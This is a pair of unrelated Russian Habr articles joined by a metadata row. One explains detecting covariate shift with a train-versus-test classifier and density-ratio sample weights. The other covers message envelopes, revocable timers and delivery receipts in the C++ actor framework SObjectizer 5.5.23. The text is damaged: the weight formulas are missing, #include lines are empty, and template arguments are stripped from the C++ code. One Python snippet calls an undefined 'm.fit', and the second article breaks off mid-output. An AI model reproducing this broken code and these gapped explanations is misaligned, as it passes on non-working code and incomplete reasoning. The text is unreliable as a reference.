# Насколько данные для обучения модели (не)похожи на тестовую выборку?
Рассмотрим один из сценариев, при котором ваша модель машинного обучения может быть бесполезна.
Есть такая поговорка: *«Не сравнивайте яблоки с апельсинами»*. Но что делать, если нужно сравнить один набор яблок с апельсинами с другим, но распределения фруктов в двух наборах разное? Сможете работать с данными? И как будете это делать?
В реальных кейсах такая ситуация встречается повсеместно. При разработке моделей машинного обучения мы сталкиваемся с ситуацией, когда наша модель хорошо работает с обучающей выборкой, но качество модели резко падает на тестовых данных.
И речь здесь идет не о переобучении. Допустим, что мы построили модель, которая дает отличный результат на кросс-валидации, однако показывает плохой результат на тесте. Значит в тестовой выборке есть информация, которую мы не учитываем.
Представьте ситуацию, в которой мы прогнозируем поведение клиента в магазине. Если обучающая и тестовая выборка выглядят так, как показано на картинке ниже, это явная проблема:
*В этом примере модель обучена на данных со средним значением признака «возраст покупателя» ниже, чем среднее значение аналогичного признака на тесте. В процессе обучения модель никогда «не видела» бОльших значений признака «возраст». Если возраст является важным признаком для модели, то не следует ожидать хороших результатов на тестовой выборке.*
В этом тексте мы поговорим о «наивных» подходах, позволяющих выявить подобные явления и попробовать их устранить.
### Ковариантный сдвиг
Дадим более аккуратное определение данному понятию. **Ковариантность** относится к значениям признаков, а под **ковариантным сдвигом** понимается ситуация, когда распределения значений признаков в обучающей и тестовой выборке имеют разные характеристики (параметры).
В реальных задачах с большим количеством переменных ковариантный сдвиг трудно обнаружить. В статье обсуждается метод выявления, а также учета ковариантного сдвига в данных.
### Основная идея
*Если в данных существует сдвиг, то при смешивании двух выборок мы сможем построить классификатор, способный определить принадлежность объекта к обучающей либо тестовой выборке.*
Давайте поймём, почему это так. Вернёмся к примеру с покупателями, где возраст был «сдвинутым» признаком обучающей и тестовой выборки. Если взять классификатор (например, на основе случайного леса) и попробовать разделить смешанную выборку на обучение и тест, то возраст будет очень важным признаком для такой классификации.
### Реализация
Попробуем применить описанную идею к реальному датасету. Используем [датасет](https://www.kaggle.com/c/porto-seguro-safe-driver-prediction/data) из соревнования на Kaggle.
#### Шаг 1: подготовка данных
Первым делом выполним ряд стандартных шагов: почистить, заполнить пропуски, выполнить label encoding для категориальных признаков. Для рассматриваемого датасета шаг не потребовался, так что пропустим его описание.
```
import pandas as pd
#загрузка датасетов train и test
train = pd.read_csv('train.csv',low_memory=True)
test = pd.read_csv('test.csv',low_memory=True)
```
#### Шаг 2: добавление индикатора источника данных
К обеим частям датасета — обучающей и тестовой — необходимо добавить новый признак-индикатор. Для обучающей выборки со значением «1», для тестовой, соответственно, «0».
```
#добавляем новый столбец к данным, нулевой к test, единичный к train
test['is_train'] = 0
train['is_train'] = 1
```
#### Шаг 3: объединение обучающей и тестовой выборки
Теперь необходимо объединить два датасета. Ппоскольку обучающий датасет содержит столбец целевых значений 'target', которого нет в тестовом датасете, этот столбец необходимо удалить.
```
#объединение выборок train, test
df_combine = pd.concat([train, test], axis=0, ignore_index=True)
#удаление метки target
df_combine = df_combine.drop('target', axis =1)
y = df_combine['is_train'].values #индикатор источника
x = df_combine.drop('is_train', axis=1).values #объединенный датасет
tst, trn = test.values, train.values
```
#### Шаг 4: построение и тестирование классификатора
Для целей классификации будем использовать Random Forest Classifier, который настроим для предсказания меток источника данных в объединенном датасете. Можно использовать любой другой классификатор.
```
from sklearn.ensemble import RandomForestClassifier
import numpy as np
rfc = RandomForestClassifier(n_jobs=-1, max_depth=5, min_samples_leaf = 5)
predictions = np.zeros(y.shape) #пустой массив для вероятностей классов
```
Используем стратифицированное рандомизированное разбиение на 4 фолда. Таким образом мы сохраним соотношение меток 'is\_train' в каждом фолде как в исходной объединенной выборке. Для каждого разбиенения обучим классификатор на большей части разбиения и предскажем метку класса для меньшей отложенной части.
```
from sklearn.model_selection import StratifiedKFold, cross_val_score
skf = StratifiedKFold(n_splits=4, shuffle=True, random_state=100)
for fold, (train_idx, test_idx) in enumerate(skf.split(x, y)):
X_train, X_test = x[train_idx], x[test_idx]
y_train, y_test = y[train_idx], y[test_idx]
rfc.fit(X_train, y_train)
probs = rfc.predict_proba(X_test)[:, 1] #предсказание вероятностей классов
predictions[test_idx] = probs
```
#### Шаг 5: интерпретация результатов
Посчитаем значение метрики ROC AUC для нашего классификатора. На основе этого значения сделаем вывод, насколько хорошо наш классификатор выявляет ковариантный сдвиг в данных.
*Если классификатор с хорошо разделяет объекты на обучающий и тестовый датасет, то значение метрики ROC AUC должно быть значительно больше 0.5, в идеале близко к 1. Такая картина свидетельствует о сильном ковариантном сдвиге в данных.*
Найдём значение ROC AUC:
```
from sklearn.metrics import roc_auc_score
print('ROC-AUC:', roc_auc_score(y_true=y, y_score=predictions))
# ROC-AUC: 0.49974692698385287
```
Получившееся значение близко к 0.5. А это значит, что наш классификатор по качеству такой же, как случайный предсказатель меток. Нет свидетельств наличия ковариантного сдвига в данных.
Поскольку датасет взят с Kaggle, результат довольно предсказуем. Как и в других соревнованиях по машинному обучению, данные тщательно выверены, чтобы убедиться в отсутствии сдвигов.
Но такой подход может быть применен в других задачах науки о данных для проверки наличия ковариантного сдвига непосредственно перед началом решения.
Дальнейшие шаги
---------------
Итак, либо мы наблюдаем ковариантный сдвиг, либо нет. Что же делать, чтобы улучшить качество модели на тесте?
1. Удалить смещенные признаки
2. Использовать весов важностей объектов на основе оценки коэффициента плотности
### Удаление смещенных признаков:
***Примечание:** метод применим, если наблюдается ковариантный сдвиг в данных.*
* Извлечь важности признаков из классификатора Random Forest Classifier, который мы построили и обучили ранее.
* Самые важные признаки как раз те, которые смещены и вызывают сдвиг в данных.
* Начиная с самых важных, удалять по одному признаку, строить целевую модель и смотреть на её качество. Собрать все признаки, для которых качество модели не уменьшается.
* Выбросить из данных собранные признаки и построить финальную модель.
*Данный алгоритм позволит удалить признаки из красной корзины на диаграмме.*
### Использование весов важностей объектов на основе оценки коэффициента плотности
***Примечание:** метод применим независимо от того, есть ли ковариантный сдвиг в данных.*
Давайте посмотрим на предсказания, которые мы получили в предыдущем разделе. Для каждого объекта предсказание содержит вероятность того, что этот объект принадлежит обучающей выборке для нашего классификатора.
```
predictions[:10]
#array([0.39743827 ...
```
Например, для первого объекта наш Random Forest Classifier считает, что он принадлежит обучающей выборке с вероятностью 0.397. Назовём эту величину . Или можно сказать, что вероятность принадлежности тестовым данным равна 0.603. Аналогично, назовём вероятность .
Теперь небольшой трюк: для каждого объекта обучающего датасета вычислим коэффициент .
Коэффициент  говорит нам, насколько объект из обучающей выборки близок к тестовым данным. Основная мысль:
*Мы можем использовать  как веса в любой из моделей, чтобы увеличить вес тех наблюдений, которые выглядят схожими с тестовой выборкой. Интуитивно это имеет смысл, так как наша модель будет более ориентирована на данные как в тестовом наборе.*
Эти веса могут быть вычислены с помощью кода:
```
import seaborn as sns
import matplotlib.pyplot as plt
plt.figure(figsize=(20,10))
predictions_train = predictions[:len(trn)]
weights = (1./predictions_train) - 1.
weights /= np.mean(weights) #Нормализация весов
plt.xlabel('Значение весов w')
plt.ylabel('Число сэмплов')
sns.distplot(weights, kde=False)
```
Полученные коэффициенты можно передать модели, например, следующим образом:
```
rfc = RandomForestClassifier(n_jobs=-1,max_depth=5)
m.fit(X_train, y_train, sample_weight=weights)
```
Пара слов о полученной гистограмме:
* Большие значения веса соответствуют наблюдениям, более схожим с тестовой выборкой.
* Почти 70% объектов из обучающей выборки имеют вес, близкий к 1, и, следовательно, находятся в подпространстве, которое одинаково похоже и на тренировочную, и на тестовую выборку. Это соответствует значению AUC, которое мы вычислили ранее.
Заключение
----------
Надеемся, что вам этот пост поможет вам в выявлении «ковариантного сдвига» в данных и борьбе с ним.
Ссылки
------
[1] Shimodaira, H. (2000). Improving predictive inference under covariate shift by weighting the log-likelihood function. Journal of Statistical Planning and Inference, 90, 227–244.
[2] Bickel, S. et al. (2009). Discriminative Learning Under Covariate Shift. Journal of Machine Learning Research, 10, 2137–2155
[3] [github.com/erlendd/covariate-shift-adaption](https://github.com/erlendd/covariate-shift-adaption)
[4] [Link to dataset used](https://www.kaggle.com/c/porto-seguro-safe-driver-prediction/data)
P.S. Ноутбук с кодом из статьи можно посмотреть [здесь](https://github.com/hakeydotom/Covariate-shift-prediction/). | https://habr.com/ru/post/422185/ | null | ru | null |
# Новое в SObjectizer-5.5.23: исполнение желаний или ящик Пандоры?
Данная статья является продолжением опубликованной месяц назад статьи-размышлении "[Легко ли добавлять новые фичи в старый фреймворк? Муки выбора на примере развития SObjectizer-а](https://habr.com/post/423879/)". В той статье описывалась задача, которую мы хотели решить в очередной версии SObjectizer-а, рассматривались два подхода к ее решению и перечислялись достоинства и недостатки каждого из подходов.
Прошло время, один из подходов был воплощен в жизнь и новые версии [SObjectizer-а](https://sourceforge.net/projects/sobjectizer/), а также сопутствующего ему [проекта so\_5\_extra](https://sourceforge.net/p/sobjectizer/wiki/About%20so5extra/), уже, что называется «задышали полной грудью». Можно в буквальном смысле брать и пробовать.
Сегодня же мы поговорим о том, что было сделано, зачем это было сделано, к чему это привело. Если кому-то интересно следить за тем, как развивается один из немногих живых, кросс-платформенных и открытых акторных фреймворков для C++, милости прошу под кат.
С чего все началось?
====================
Начиналось все с попытки решить проблему гарантированной отмены таймеров. Суть проблемы в том, что когда отсылается отложенное или периодическое сообщение, то программист может отменить доставку сообщения. Например:
```
auto timer_id = so_5::send_periodic(my\_agent, 10s, 10s, ...);
... // Что-то делаем.
// Понимаем, что периодическое сообщение my\_message больше нам не нужно.
timer\_id.release(); // Теперь таймер не будет отсылать my\_message.
```
После вызова *timer\_id.release()* таймер больше не будет отсылать новые экземпляры сообщения my\_message. Но те экземпляры, которые уже были отосланы и попали в очереди получателей, никуда не денутся. Со временем они будут извлечены из этих самых очередей и будут переданы агентам-получателям для обработки.
Проблема эта является следствием базовых принципов работы SObjectizer-5 и не имеет простого решения из-за того, что SObjectizer не может изымать сообщения из очередей. Не может потому, что в SObjectizer очереди принадлежат диспетчерам, диспетчеры бывают разные, очереди у них также организованы по разному. В том числе [бывают диспетчеры, которые не входят в состав SObjectizer-а](https://habr.com/post/353712/) и SObjectizer в принципе не может знать, как эти диспетчеры работают.
В общем, есть вот такая особенность у родных таймеров SObjectizer-а. Не то, чтобы она слишком уж портила жизнь разработчикам. Но некоторую дополнительную внимательность нужно проявлять. Особенно новичкам, которые только знакомятся с фреймворком.
И вот, наконец, руки дошли до того, чтобы предложить решение для этой проблемы.
Какой путь решения был выбран?
==============================
В [предыдущей статье](https://habr.com/post/423879/) рассматривалось два возможных варианта. Первый вариант не требовал модификаций механизма доставки сообщений в SObjectizer-е, но зато требовал от программиста явным образом изменять тип отсылаемого/получаемого сообщения.
Второй вариант требовал модификации механизма доставки сообщений SObjectizer-а. Именно этот путь и был выбран, поскольку он позволял прятать от получателя сообщения тот факт, что сообщение было отослано каким-то специфическим образом.
Что изменилось в SObjectizer?
-----------------------------
### Новое понятие: конверт с сообщением внутри
Первая составляющая реализованного решения — это добавление в SObjectizer такого понятия, как конверт (envelope). Конверт — это специальное сообщение, внутри которого лежит актуальное сообщение (payload). SObjectizer доставляет конверт с сообщением до получателя почти что обычным способом. Принципиальная разница в обработке конверта обнаруживается лишь на самом последнем этапе доставки:
* при доставке обычного сообщения у агента-получателя просто ищется обработчик для данного типа сообщения и, если такой обработчик найден, то найденный обработчик вызывается и ему отдается доставленное сообщение в качестве параметра;
* а при доставке конверта с сообщением после того, как обработчик будет найден, сперва делается попытка достать сообщение из конверта. И только если конверт отдал хранящееся в нем сообщение, только тогда вызывается обработчик.
Здесь есть два ключевых момента, которые оказывают серьезнейшее влияние на то, для чего и как могут использоваться конверты с сообщениями.
Первый ключевой момент в том, что у конверта сообщение запрашивается только тогда, когда у получателя найден обработчик для сообщения. Т.е. только тогда, когда сообщение действительно доставлено до получателя и получатель вот прямо здесь и сейчас будет это сообщение обрабатывать.
Второй ключевой момент здесь в том, что конверт может не отдать находящееся в нем сообщение. Т.е., например, конверт может проверить текущее время и решить, что все сроки доставки были пропущены и, поэтому, сообщение перестало быть актуальным и обрабатывать его нельзя. Посему конверт не отдаст сообщение наружу. Соответственно, SObjectizer просто проигнорирует этот конверт и никаких дополнительных действий предпринимать не будет.
#### Что из себя представляет конверт?
Конверт — это реализация интерфейса envelope\_t, который определен следующим образом:
```
class SO_5_TYPE envelope_t : public message_t
{
public:
... // Конструкторы-деструкторы.
// Хук для случая, когда сообщение доставлено до получателя и
// получатель готов обработать его.
virtual void handler_found_hook(
handler_invoker_t & invoker ) noexcept = 0;
// Хук для случая, когда сообщение должно быть трансформированно
// из одно представления в другое.
virtual void transformation_hook(
handler_invoker_t & invoker ) noexcept = 0;
private :
kind_t so5_message_kind() const noexcept override
{ return kind_t::enveloped_msg; }
};
```
Т.е. конверт — это, по сути такое же сообщение, как и все остальные. Но со специальным признаком, который и возвращается методом so5\_message\_kind().
Программист может разрабатывать свои конверты наследуясь от envelope\_t (или, что более удобно, от [so\_5::extra::enveloped\_msg::just\_envelope\_t](https://sourceforge.net/p/sobjectizer/repo/HEAD/tree/tags/so_5_extra/1.2.0-beta1/dev/so_5_extra/enveloped_msg/just_envelope.hpp)) и переопределяя методы-хуки handler\_found\_hook() и transformation\_hook().
Внутри методов-хуков разработчик конверта решает, хочет ли он отдать находящееся внутри конверта сообщение для обработки/трансформации или не хочет. Если хочет, то разработчик должен вызвать метод invoke() и объекта invoker. Если не хочет, то не вызывает, в этом случае конверт и его содержимое будет проигнорированно.
#### Как с помощью конвертов решается проблема с отменой таймеров?
Решение, которое сейчас реализовано в so\_5\_extra в виде пространства имен so\_5::extra::revocable\_timer, очень простое: при особой отсылке отложенного или периодического сообщения создается специальный конверт, внутри которого находится не только само сообщение, но и атомарный флаг revoked. Если этот флаг сброшен, то сообщение считается актуальным. Если выставлен, то сообщение считается отозванным.
Когда у конверта вызывается метод-хук, то конверт проверяет значение флага revoked. Если флаг выставлен, то конверт не отдает сообщение наружу. Тем самым, обработка сообщения не выполняется даже если таймер уже успел поместить сообщение в очередь получателя.
### Расширение интерфейса abstract\_message\_box\_t
Добавление интерфейса envelope\_t — это только одна часть реализации конвертов в SObjectizer. Вторая часть — это учет факта существования конвертов в механизме доставки сообщений внутри SObjectizer-а.
Тут, к сожалению, не обошлось без внесения видимых для пользователя изменений. В частности, в класс abstract\_message\_box\_t, который определяет интерфейс всех почтовых ящиков в SObjectizer-е, потребовалось добавить еще один виртуальный метод:
```
virtual void do_deliver_enveloped_msg(
const std::type_index & msg_type,
const message_ref_t & message,
unsigned int overlimit_reaction_deep );
```
Этот метод отвечает за доставку до получателя конверта message с сообщением типа msg\_type внутри. Такая доставка может отличаться в деталях реализации в зависимости от того, что это за mbox.
При добавлении do\_deliver\_enveloped\_msg() в abstract\_message\_box\_t у нас был выбор: сделать его чистым виртуальным методом или же предложить какую-то реализацию по умолчанию.
Если бы мы сделали do\_deliver\_enveloped\_msg() чистым виртуальным методом, то мы бы поломали совместимость между версиями SObjectizer в ветке 5.5. Ведь тогда тем пользователям, которые написали собственные реализации mbox-ов, пришлось бы при переходе на SObjectizer-5.5.23 модифицировать собственные mbox-ы, иначе бы не удалось пройти компиляцию с новой версией SObjectizer-а.
Нам этого не хотелось, поэтому мы не стали делать do\_deliver\_enveloped\_msg() чистым виртуальным методом в v.5.5.23. Он имеет реализацию по умолчанию, которая просто бросает исключение. Т.о., кастомные пользовательские mbox-ы смогут нормально продолжать работу с обычными сообщениями, но будут автоматически отказываться принимать конверты. Мы сочли такое поведение более приемлемым. Тем более, что на начальном этапе вряд ли конверты с сообщениями будут применяться широко, да и маловероятно что в «дикой природе» часто встречаются кастомные реализации SObjectizer-овских mbox-ов ;)
Кроме того, существует далеко не нулевая вероятность, что в последующих мажорных версиях SObjectizer-а, где мы не будем оглядываться на совместимость с веткой 5.5, интерфейс abstract\_message\_box\_t претерпит серьезные изменения. Но это мы уже забегаем далеко вперед…
Как отсылать конверты с сообщениями
-----------------------------------
Сам SObjectizer-5.5.23 не предоставляет простых средств отсылки конвертов. Предполагается, что под конкретную задачу разрабатывается конкретный тип конверта и соответствующие инструменты для удобной отсылки конвертов конкретного типа. Пример этого можно увидеть в [so\_5::extra::revocable\_timer](https://sourceforge.net/p/sobjectizer/repo/HEAD/tree/tags/so_5_extra/1.2.0-beta1/dev/so_5_extra/revocable_timer/pub.hpp#l325), где нужно не только отослать конверт, но и отдать пользователю специальный timer\_id.
Для более простых ситуаций можно воспользоваться средствами из [so\_5::extra::enveloped\_msg](https://sourceforge.net/p/sobjectizer/repo/HEAD/tree/tags/so_5_extra/1.2.0-beta1/dev/so_5_extra/enveloped_msg/send_functions.hpp#l181). Например, вот так выглядит отсылка сообщения с заданным ограничением на время его доставки:
```
// make создает экземпляр сообщения для доставки.
so_5::extra::enveloped_msg::make(... /\* Параметры для конструктора \*/)
// envelope помещает созданное только что сообщение в конверт нужного типа.
// Значение 5s передается в конструктор конверта вместе с экземпляром сообщения.
.envelope(5s)
// А вот и отсылка конверта с сообщением адресату.
.send\_to(destination);
```
Чтобы было совсем весело: конверты в конвертах
----------------------------------------------
Конверты предназначены для переноса внутри себя каких-то сообщений. Но каких?
Любых.
И это подводит нас к интересному вопросу: а можно ли вложить конверт внутрь другого конверта?
Да, можно. Сколько угодно. Глубина вложенности ограничена только здравым смыслом разработчика и глубиной стека для рекурсивного вызова handler\_found\_hook/transformation\_hook.
При этом SObjectizer идет навстречу разработчикам собственных конвертов: конверт не должен думать о том, что у него внутри — конкретное сообщение или другой конверт. Когда у конверта вызывают метод-хук и конверт решает, что он может отдать свое содержимое, то конверт просто вызывает invoke() у handler\_invoker\_t и передает в invoke() ссылку на свое содержимое. А уже invoke() внутри сам разберется, с чем он имеет дело. И если это еще один конверт, то invoke() сам вызовет у этого конверта нужный метод-хук.
С помощью уже показанного выше инструментария из so\_5::extra::enveloped\_msg пользователь может сделать несколько вложенных конвертов вот таким образом:
```
so_5::extra::enveloped_msg::make(...)
// Конверт, который будет внутри и который содержит сообщение my\_message.
.envelope(...)
// Конверт, который будет содержать конверт типа inner\_envelope\_type.
.envelope(...)
.send\_to(destination);
```
Несколько примеров использования конвертов
==========================================
Теперь, после того, как мы прошлись по внутренностям SObjectizer-5.5.23 пора бы уже перейти к более полезной для пользователей, прикладной части. Ниже рассматривается несколько примеров, которые либо базируются на том, что уже реализовано в so\_5\_extra, либо используют инструменты из so\_5\_extra.
Отзывные таймеры
----------------
Поскольку вся эта кухня с конвертами затевалась ради решения проблемы гарантированного отзыва таймерых сообщений, то давайте посмотрим, что в итоге получилось. Будем использовать пример из so\_5\_extra-1.2.0, который задействует инструменты из нового пространства имен so\_5::extra::revocable\_timer:
**Код примера с отзывными таймерами**
```
#include
#include
namespace timer\_ns = so\_5::extra::revocable\_timer;
class example\_t final : public so\_5::agent\_t
{
// Набор сигналов, которые мы будем использовать для отсылки
// отложенных и периодического сообщения.
struct first\_delayed final : public so\_5::signal\_t {};
struct second\_delayed final : public so\_5::signal\_t {};
struct last\_delayed final : public so\_5::signal\_t {};
struct periodic final : public so\_5::signal\_t {};
// Идентификаторы для таймерных сообщений.
timer\_ns::timer\_id\_t m\_first;
timer\_ns::timer\_id\_t m\_second;
timer\_ns::timer\_id\_t m\_last;
timer\_ns::timer\_id\_t m\_periodic;
public :
example\_t( context\_t ctx ) : so\_5::agent\_t{ std::move(ctx) }
{
so\_subscribe\_self()
.event( &example\_t::on\_first\_delayed )
.event( &example\_t::on\_second\_delayed )
.event( &example\_t::on\_last\_delayed )
.event( &example\_t::on\_periodic );
}
void so\_evt\_start() override
{
using namespace std::chrono\_literals;
// Отсылаем три сигнала как отложенные сообщения...
m\_first = timer\_ns::send\_delayed< first\_delayed >( \*this, 100ms );
m\_second = timer\_ns::send\_delayed< second\_delayed >( \*this, 200ms );
m\_last = timer\_ns::send\_delayed< last\_delayed >( \*this, 300ms );
// ...и один как периодическое сообщение.
m\_periodic = timer\_ns::send\_periodic< periodic >( \*this, 75ms, 75ms );
// Блокируем агента на 220ms. За это время в очередь агента
// должны попасть сигналы first\_delaye, second\_delayed и
// несколько экземпляров сигнала periodic.
std::cout << "hang the agent..." << std::flush;
std::this\_thread::sleep\_for( 220ms );
std::cout << "done" << std::endl;
}
private :
void on\_first\_delayed( mhood\_t )
{
std::cout << "first\_delayed received" << std::endl;
// Отменяем доставку second\_delayed и periodic.
// Агент не должен получить эти сигналы не смотря на то, что
// они уже стоят в очереди сообщений агента.
m\_second.revoke();
m\_periodic.revoke();
}
void on\_second\_delayed( mhood\_t )
{
std::cout << "second\_delayed received" << std::endl;
}
void on\_last\_delayed( mhood\_t )
{
std::cout << "last\_delayed received" << std::endl;
so\_deregister\_agent\_coop\_normally();
}
void on\_periodic( mhood\_t )
{
std::cout << "periodic received" << std::endl;
}
};
int main()
{
so\_5::launch( [](so\_5::environment\_t & env) {
env.register\_agent\_as\_coop( "example", env.make\_agent() );
} );
return 0;
}
```
Что мы здесь имеем?
У нас есть агент, который сперва инициирует несколько таймерных сообщений, а потом блокирует свою рабочую нить на некоторое время. За это время таймер успевает поставить в очередь агента несколько заявок в результате сработавших таймеров: несколько экземпляров periodic, по одному экземпляру first\_delayed и second\_delayed.
Соответственно, когда агент разблокирует свою нить, он должен получить первый periodic и first\_delayed. При обработке first\_delayed агент отменяет доставку periodic-а и second\_delayed. Поэтому эти сигналы до агента доходить не должны вне зависимости от того, есть ли они уже в очереди агента или нет (а они есть).
Смотрим на результат работы примера:
```
hang the agent...done
periodic received
first_delayed received
last_delayed received
```
Да, так и есть. Получили первый periodic и first\_delayed. Затем нет ни periodic-а, ни second\_delayed.
А вот если в примере заменить «таймеры» из so\_5::extra::revocable\_timer на штатные таймеры из SObjectizer, то результат будет другой: до агента все-таки дойдут те экземпляры сигналов periodic и second\_delayed, которые уже попали к агенту в очередь.
Сообщения с ограничениями на время доставки
-------------------------------------------
Еще одна полезная, временами, штука, которая станет доступной в so\_5\_extra-1.2.0 — это доставка сообщения с ограничением по времени. Например, агент request\_handler отсылает сообщение verify\_signature агенту crypto\_master. При этом request\_handler хочет, чтобы verify\_signature был доставлен в течении 5 секунд. Если это не произошло, то смысла в обработке verity\_signature уже не будет, агент request\_handler уже прекратит свою работу.
А агент crypto\_master — это такой товарищ, который любит оказываться «бутылочным горлышком»: временами начинает притормаживать. В такие момент у него в очереди скапливаются сообщения, вроде вышеуказанного verify\_signature, которые могут ждать до тех пор, пока crypto\_master-у не полегчает.
Предположим, что request\_handler отослал сообщение verify\_signature агенту crypto\_master, но тут crypto\_master-у поплохело о он «залип» на 10 секунд. Агент request\_handler уже «отвалился», т.е. уже отослал всем отказ в обслуживании и завершил свою работу. Но ведь сообщение verify\_signature в очереди crypto\_master-а осталось! Значит, когда crypto\_master «отлипнет», то он возьмет данное сообщение и будет это сообщение обрабатывать. Хотя это уже не нужно.
С помощью нового конверта so\_5::extra::enveloped\_msg::time\_limited\_delivery\_t мы можем решить данную проблему: агент request\_handler отошлет verify\_signature вложенное в конверт time\_limited\_delivery\_t с ограничением на время доставки:
```
so_5::extra::enveloped_msg::make(...)
.envelope(5s)
.send\_to(crypto\_master\_mbox);
```
Теперь если crypto\_master «залипнет» и не успеет добраться до verify\_signature за 5 секунд, то конверт просто не отдаст это сообщение на обработку. И crypto\_master не будет делать работу, которая уже никому не нужна.
Отчеты о доставке сообщений до получателя
-----------------------------------------
Ну и напоследок пример любопытной штуки, которая не реализована штатно ни в SObjectizer, ни в so\_5\_extra, но которую можно сделать самостоятельно.
Иногда хочется получать от SObjectizer-а что-то вроде «отчета о доставке» сообщения до получателя. Ведь одно дело, когда сообщение до получателя дошло, но получатель по каким-то своим причинам на него не среагировал. Другое дело, когда сообщение вообще до получателя не дошло. Например, было заблокировано [механизмом защиты агентов от перегрузки](https://sourceforge.net/p/sobjectizer/wiki/so-5.5%20In-depth%20-%20Message%20Limits/). В первом случае сообщение, на которое мы не дождались ответа, можно не перепосылать. А вот во втором случае может иметь смысл перепослать сообщение спустя некоторое время.
Сейчас мы рассмотрим, как посредством конвертов можно реализовать простейший механизм «отчетов о доставке».
Итак, сначала сделаем необходимые подготовительные действия:
```
#include
#include
#include
using namespace std::chrono\_literals;
namespace envelope\_ns = so\_5::extra::enveloped\_msg;
using request\_id\_t = int;
```
Теперь мы можем определить сообщения, которые будут использоваться в примере. Первое сообщение — это запрос для выполнения каких-то нужных нам действий. А второе сообщение — это подтверждение того, что первое сообщение дошло до получателя:
```
struct request_t final
{
request_id_t m_id;
std::string m_data;
};
struct delivery_receipt_t final
{
// Это значение request_t::m_id из соответствующего request_t.
request_id_t m_id;
};
```
Далее мы можем определить агента processor\_t, который будет обрабатывать сообщения типа request\_t. Но обрабатывать будет с имитацией «залипания». Т.е. он обрабатывает request\_t, после чего меняет свое состояние с st\_normal на st\_busy. В состоянии st\_busy он ничего не делает и игнорирует все сообщения, которые к нему прилетают.
Это означает, что если агенту processor\_t отослать подряд три сообщения request\_t, то первое он обработает, а два других будут выброшены, т.к. при обработке первого сообщения агент уйдет в st\_busy и проигнорирует то, что к нему будет приходить пока он находится в st\_busy.
В st\_busy агент processor\_t проведет 2 секунды, после чего вновь вернется в st\_normal и будет готов обрабатывать новые сообщения.
Вот как агент processor\_t выглядит:
```
class processor_t final : public so_5::agent_t
{
// Нормальное состояние агента. В этом состоянии выполняется
// обработка входящих сообщений.
state_t st_normal{this, "normal"};
// Состояние "я занят". Новые сообщения игнорируются.
state_t st_busy{this, "busy"};
public:
processor_t(context_t ctx) : so_5::agent_t{std::move(ctx)}
{
this >>= st_normal;
st_normal.event(&processor_t::on_request);
// Для этого состояния нет подписок, но есть лимит времени.
// Через 2 секунды после входа, автоматический возврат в st_normal.
st_busy.time_limit(2s, st_normal);
}
private:
void on_request(mhood_t cmd)
{
std::cout << "processor: on\_request(" << cmd->m\_id << ", "
<< cmd->m\_data << ")" << std::endl;
this >>= st\_busy;
}
};
```
Теперь мы можем определить агента requests\_generator\_t, у которого есть пачка запросов, которые нужно доставить до processor\_t. Агент request\_generator\_t раз в 3 секунды отправляет всю пачку, а затем ждет подтверждения о доставке в виде delivery\_receipt\_t.
Когда delivery\_recept\_t приходит, агент requests\_generator\_t выбрасывает доставленный запрос из пачки. Если пачка совсем опустела, то работа примера завершается. Если же еще что-то осталось, то оставшаяся пачка будет отослана заново когда наступит следующее время перепосылки.
Итак, вот код агента request\_generator\_t. Он довольно объемный, но примитивный. Обратить внимание можно разве что на внутренности метода send\_requests(), в котором отсылаются сообщения request\_t, вложенные в специальный конверт.
**Код агента requests\_generator\_t**
```
class requests_generator_t final : public so_5::agent_t
{
// Почтовый ящик обработчика запросов.
const so_5::mbox_t m_processor;
// Пачка запросов, для которых еще нет подтверждения о доставке.
std::map m\_requests;
struct resend\_requests final : public so\_5::signal\_t {};
public:
requests\_generator\_t(context\_t ctx, so\_5::mbox\_t processor)
: so\_5::agent\_t{std::move(ctx)}
, m\_processor{std::move(processor)}
{
so\_subscribe\_self()
.event(&requests\_generator\_t::on\_delivery\_receipt)
.event(&requests\_generator\_t::on\_resend);
}
void so\_evt\_start() override
{
// Формируем первоначальную пачку запросов.
m\_requests.emplace(0, "First");
m\_requests.emplace(1, "Second");
m\_requests.emplace(2, "Third");
m\_requests.emplace(3, "Four");
// Начинаем рассылку.
send\_requests();
}
private:
void on\_delivery\_receipt(mhood\_t cmd)
{
std::cout << "request delivered: " << cmd->m\_id << std::endl;
m\_requests.erase(cmd->m\_id);
if(m\_requests.empty())
// Запросов больше не досталось. Работу прекращаем.
so\_deregister\_agent\_coop\_normally();
}
void on\_resend(mhood\_t)
{
std::cout << "time to resend requests, pending requests: "
<< m\_requests.size() << std::endl;
send\_requests();
}
void send\_requests()
{
for(const auto & item : m\_requests)
{
std::cout << "sending request: (" << item.first << ", "
<< item.second << ")" << std::endl;
envelope\_ns::make(item.first, item.second)
.envelope(so\_direct\_mbox(), item.first)
.send\_to(m\_processor);
}
// Отложенное сообщение чтобы повторить отсылку через 3 секунды.
so\_5::send\_delayed(\*this, 3s);
}
};
```
Вот теперь у нас есть сообщения и есть агенты, которые с помощью этих сообщений должны общаться. Осталась самая малость — как-то заставить прилетать сообщения delivery\_receipt\_t при доставке request\_t до processor\_t.
Делается это с помощью вот такого конверта:
```
class custom_envelope_t final : public envelope_ns::just_envelope_t
{
// Куда присылать отчет о доставке.
const so_5::mbox_t m_to;
// ID доставленного запроса.
const request_id_t m_id;
public:
custom_envelope_t(so_5::message_ref_t payload, so_5::mbox_t to, request_id_t id)
: envelope_ns::just_envelope_t{std::move(payload)}
, m_to{std::move(to)}
, m_id{id}
{}
void handler_found_hook(handler_invoker_t & invoker) noexcept override
{
// Раз этот хук вызван, значит сообщение до получателя дошло.
// Можно отсылать отчет о доставке.
so_5::send(m\_to, m\_id);
// Всю остальную работу делает базовый класс.
envelope\_ns::just\_envelope\_t::handler\_found\_hook(invoker);
}
};
```
В общем-то, здесь нет ничего сложного. Мы наследуемся от so\_5::extra::enveloped\_msg::just\_envelope\_t. Это вспомогательный тип конверта, который хранит вложенное в него сообщение и предоставляет базовую реализацию хуков
handler\_found\_hook() и transformation\_hook(). Поэтому нам остается только сохранить внутри custom\_envelope\_t нужные нам атрибуты и отослать delivery\_receipt\_t внутри хука handler\_found\_hook().
Вот, собственно, и все. Если запустить данный пример, то получим следующее:
```
sending request: (0, First)
sending request: (1, Second)
sending request: (2, Third)
sending request: (3, Four)
processor: on_request(0, First)
request delivered: 0
time to resend requests, pending requests: 3
sending request: (1, Second)
sending request: (2, Third)
sending request: (3, Four)
processor: on_request(1, Second)
request delivered: 1
time to resend requests, pending requests: 2
sending request: (2, Third)
sending request: (3, Four)
processor: on_request(2, Third)
request delivered: 2
time to resend requests, pending requests: 1
sending request: (3, Four)
processor: on_request(3, Four)
